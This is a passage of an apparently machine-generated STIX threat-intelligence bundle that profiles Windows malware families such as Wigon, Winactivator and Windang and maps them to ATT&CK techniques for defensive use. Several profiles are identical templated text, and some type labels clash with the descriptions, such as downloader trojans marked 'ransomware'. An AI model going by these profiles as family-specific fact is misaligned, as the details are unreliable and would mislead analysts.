          "description": "Canonical Malware Families Catalog Technical Profile for Widdit",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/widdit"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--002d8842-57b3-5b62-92be-d64c91d0ebed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--76827c63-077a-5a87-82c9-abb3ab6e7a73",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Widdit exhibits technique T1176 (Browser Extensions (Installing malicious toolbars/BHOs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6b8661a5-7a77-5568-813e-04f61182056b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--76827c63-077a-5a87-82c9-abb3ab6e7a73",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Widdit exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d0cc011a-6036-541d-9c1c-71adb1c967ed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--76827c63-077a-5a87-82c9-abb3ab6e7a73",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Widdit exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--20806896-0ff6-5647-8721-21842c27c58c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--76827c63-077a-5a87-82c9-abb3ab6e7a73",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Widdit exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--36e98178-a292-5f76-a723-b0db2f316225",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Widgi",
      "description": "Adware:Win32/Widgi (often associated with the Widgi Toolbar) is a deceptive adware framework and Potentially Unwanted Program (PUA) that silently infiltrates endpoints, typically bundled with freeware, to inject intrusive advertisements, hijack browser settings, and harvest user search telemetry for affiliate monetization.<br><br><b>What is Widgi?</b><br>To the average user, Widgi is highly visible and deeply frustrating. The browser homepage is forcibly changed, default search engines are locked to unfamiliar domains, and a bulky, unwanted toolbar is affixed to the top of the browser. For security analysts, Widgi operates on the Pay-Per-Install (PPI) model. It leverages deceptive installation tactics and aggressive persistence mechanisms to ensure the user cannot easily revert their browser settings, guaranteeing continued revenue generation for the attackers.<br><br><b>Infection Vectors & Threat Hunting</b><br>Widgi is almost exclusively distributed via deceptive software bundlers. When a user downloads a free PDF editor or media player from a third-party site, the Widgi wrapper executes first. It employs 'Dark Patterns'\u2014pre-checked boxes hidden behind 'Advanced' menus\u2014to gain technical consent. Upon execution, it installs malicious browser extensions (`T1176`) and the toolbar itself. It frequently leverages Windows Group Policy (GPO) settings (`ExtensionInstallForcelist`) to lock the rogue extensions in place. It establishes persistence via Registry Run keys and scheduled tasks.<br><br><b>Forensic Analysis & Impact</b><br>The primary impact is a severely degraded user experience, compromised browsing privacy, and wasted helpdesk resources. Incident responders will observe anomalous HTTP/HTTPS traffic to known ad-tracking networks. EDR logs will show the initial installer attempting to modify browser preference files (e.g., Chrome's `Preferences` JSON file) and establishing unauthorized Group Policies. (Observed samples in benchmark: 13)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Widgi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/widgi"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e80e5885-c0dd-5b43-b4d7-2bea2d242256",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--36e98178-a292-5f76-a723-b0db2f316225",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Widgi exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6cbaa8c8-e9b2-595b-bc48-ae2afc0421d0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--36e98178-a292-5f76-a723-b0db2f316225",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Widgi exhibits technique T1176 (Browser Extensions (Toolbar installation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e30574cf-e1bc-54e0-a654-c43a0456f698",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--36e98178-a292-5f76-a723-b0db2f316225",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Widgi exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f55c7d25-caf9-52c5-a840-b2d4714b0129",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--36e98178-a292-5f76-a723-b0db2f316225",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Widgi exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--703189ce-565b-595a-91cf-f9e8e3553a0b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--36e98178-a292-5f76-a723-b0db2f316225",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Widgi exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9ce2d633-5f92-51a8-b951-3a4a38c5b39b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wigon",
      "description": "Trojan:Win32/Wigon is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Wigon</b><br>To an end-user, a Wigon infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Wigon is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Wigon is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Wigon frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Wigon reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wigon",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wigon"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1fc3c6c2-8639-51ee-9f87-5da92ee3fae8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ce2d633-5f92-51a8-b951-3a4a38c5b39b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wigon exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--786718ad-ed1a-5148-b513-1336a1927a50",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ce2d633-5f92-51a8-b951-3a4a38c5b39b",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wigon exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d63c4143-b521-5324-aa2d-9c71c3bd8e5d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ce2d633-5f92-51a8-b951-3a4a38c5b39b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wigon exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--543a6b94-43c3-54b0-a5b0-9d2ab43a429a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ce2d633-5f92-51a8-b951-3a4a38c5b39b",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wigon exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f4557128-6593-55e5-89fc-c0efe1d5b103",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ce2d633-5f92-51a8-b951-3a4a38c5b39b",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wigon exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7112c7d2-d772-540c-964c-c1bfb01b7c1e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wiliky",
      "description": "Trojan:Win32/Wiliky is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Wiliky</b><br>To an end-user, a Wiliky infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Wiliky is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Wiliky is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Wiliky frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Wiliky reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wiliky",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wiliky"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b020ee6e-7276-5cec-b1b8-195377bc8df5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7112c7d2-d772-540c-964c-c1bfb01b7c1e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wiliky exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3c845079-9c97-5001-8e52-18969fdb68d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7112c7d2-d772-540c-964c-c1bfb01b7c1e",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wiliky exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--61bef2c9-f888-538b-bf59-60f953038ca2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7112c7d2-d772-540c-964c-c1bfb01b7c1e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wiliky exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5a3a510f-5600-57fc-90ff-a7ee56f5433b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7112c7d2-d772-540c-964c-c1bfb01b7c1e",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wiliky exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dccaf28e-41ec-5c4f-9da4-2529c7ee1034",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7112c7d2-d772-540c-964c-c1bfb01b7c1e",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wiliky exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7c3d134e-a97f-5c5f-a563-8ef7ee795bb4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Winactivator",
      "description": "WinActivator (classified across cybersecurity solutions as HackTool:Win32/AutoKMS, HackTool:Win32/WinActivator, and PUA:Win32/KMSpico) is a widespread family of software licensing bypass tools, KMS emulators, and high-risk hacktools. Primarily distributed across torrent portals, YouTube software guides, and pirated media repositories, WinActivator purports to provide perpetual activation for Microsoft Windows and Office products by emulating a local Key Management Service (KMS) server on localhost (127.0.0.1). Because these tools require full administrative privileges and routinely instruct users to disable antivirus real-time protection, cybercriminal operators heavily weaponize repackaged WinActivator distributions by embedding secondary malicious payloads\u2014including RedLine infostealers, cryptocurrency clippers, and backdoor droppers. (Observed samples in benchmark: 409)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool:Win32/AutoKMS",
        "HackTool:Win32/WinActivator",
        "PUA:Win32/KMSpico",
        "Win32/AutoKMS.HackTool",
        "Riskware.WinActivator"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Winactivator",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/winactivator"
        }
      ],
      "labels": [
        "pua_tool",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1e6d77f4-1e11-5963-aea0-bfe2c3f3f026",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7c3d134e-a97f-5c5f-a563-8ef7ee795bb4",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winactivator exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1097e3a3-b515-5915-9b23-161d9a0557dc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7c3d134e-a97f-5c5f-a563-8ef7ee795bb4",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winactivator exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--870187db-2c8e-553f-b567-26d7960772e0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7c3d134e-a97f-5c5f-a563-8ef7ee795bb4",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winactivator exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--028cb199-1b9d-5f80-bb01-610884cc298b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7c3d134e-a97f-5c5f-a563-8ef7ee795bb4",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winactivator exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--66b1fc6b-e41f-5574-af47-095b2d94d680",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7c3d134e-a97f-5c5f-a563-8ef7ee795bb4",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winactivator exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3d343954-bbaa-5641-b75e-184021f8ff98",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Windang",
      "description": "<h3>Executive Summary</h3>\nWindang is a malicious Trojan with robust botnet capabilities, designed to covertly infiltrate Windows systems, establish deep persistence, and connect the infected host to a centralized command-and-control (C2) infrastructure. It is frequently utilized by cybercriminal organizations to build large botnets capable of launching distributed denial-of-service (DDoS) attacks, distributing spam, or acting as proxies for other malicious actors.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nWindang is predominantly distributed through socially engineered spam campaigns containing malicious attachments or via drive-by downloads originating from compromised websites utilizing exploit kits.\n\nUpon successful execution, Windang operates with a focus on establishing control:\n<ul>\n<li><strong>Botnet Registration:</strong> The trojan immediately communicates with its hardcoded C2 server, registering the compromised machine's IP address, OS version, and network bandwidth capacity, effectively enrolling the host into the botnet.</li>\n<li><strong>Persistence:</strong> Windang ensures it survives system reboots by modifying deep Windows Registry keys (e.g., injecting into `svchost.exe` startup routines) or by installing itself as a hidden background Windows Service.</li>\n<li><strong>Command Execution:</strong> As a botnet agent, Windang receives and executes arbitrary instructions from the C2 server. This frequently involves downloading secondary malware (like info-stealers), initiating high-volume HTTP/UDP floods against target IPs (DDoS), or routing attacker traffic through the host (proxying).</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Windang infection represents a significant security incident. While it may not immediately encrypt local files, a compromised machine becomes an active participant in global cybercrime, severely degrading local network performance and exposing the organization's IP space to blacklisting.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Network Anomaly Detection:</strong> Monitor edge firewalls for sustained, high-volume outbound traffic to unknown IP addresses or anomalous communication over non-standard ports (indicators of C2 beaconing or DDoS participation).</li>\n<li><strong>Endpoint Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify the Windang executable and determine if it was used to deploy any secondary payloads.</li>\n<li><strong>Service Remediation:</strong> If Windang installed itself as a service, it must be carefully stopped and removed using administrative tools (like `sc delete`) before attempting to delete the underlying executable files.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Windang",
        "Botnet.Windang",
        "Win32/Windang"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Windang",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/windang"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7f9734a5-1f5e-5897-869b-8056ae52c4e9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3d343954-bbaa-5641-b75e-184021f8ff98",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Windang exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c872795c-4557-54c6-8879-6715362cb0b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3d343954-bbaa-5641-b75e-184021f8ff98",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Windang exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c231944b-d779-5de8-80e3-40f37fc0f33a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3d343954-bbaa-5641-b75e-184021f8ff98",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Windang exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2aad0460-3fb3-5f76-9c14-71c319925520",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Windapp",
      "description": "Trojan:Win32/Windapp is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Windapp</b><br>To an end-user, a Windapp infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Windapp is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Windapp is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Windapp frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Windapp reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Windapp",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/windapp"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--21b08788-3d01-5574-b8a4-d9c0c83e99d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2aad0460-3fb3-5f76-9c14-71c319925520",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Windapp exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ef33b3b1-2a13-5caa-a71b-0ff69f000a3f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2aad0460-3fb3-5f76-9c14-71c319925520",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Windapp exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--42418e85-6b9f-5f05-bd26-6e7eb02099ea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2aad0460-3fb3-5f76-9c14-71c319925520",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
